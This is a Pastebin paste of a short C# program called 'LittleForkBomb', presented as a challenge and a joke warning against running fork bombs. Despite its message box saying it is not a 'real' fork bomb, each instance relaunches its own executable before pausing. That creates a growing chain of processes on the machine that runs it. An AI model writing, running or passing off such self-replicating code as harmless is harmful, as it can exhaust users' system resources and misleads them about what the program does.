Advertisement
f0rkB0mb

Try to Beat my :)

Nov 16th, 2012
56
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 0.93 KB | None | 0 0
  1. namespace LittleForkBomb
  2. {
  3.     using System;
  4.     using System.Collections.Generic;
  5.     using System.Text;
  6.     using System.Windows.Forms;
  7.     using System.Diagnostics;
  8.     class Program
  9.     {
  10.         static void Main(string[] args)
  11.         {
  12.             Console.Clear();
  13.             Console.Title = "LittleForkBomb by f0rkB0mb";
  14.  
  15.             string app = Application.StartupPath + @"\LittleForkBomb.exe";
  16.  
  17.             Console.ForegroundColor = ConsoleColor.Red;
  18.             Console.WriteLine("\n\n\n\n\t\t\tWHAT HAVE YOU DONE?!");
  19.  
  20.             Process fork = new Process();
  21.             fork.StartInfo.FileName = app;
  22.    
  23.             for (int i = 0; i < 6; i++)
  24.             {
  25.                 //fork.Start();
  26.                 if (i == 5)
  27.                 {
  28.                     fork.Start();
  29.                     MessageBox.Show("If I was a real f0rkB0mb, I have started some processes," +
  30.                         "\r\nand dived into your system to say Hello STUPIDO by Startup.",
  31.                         "f0rkB0mb says: \"NEVER EXECUTE A FORKBOMB\"", MessageBoxButtons.OK, MessageBoxIcon.Warning);
  32.                    
  33.                     fork.Kill();
  34.                 }
  35.             }
  36.         }
  37.     }
  38. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement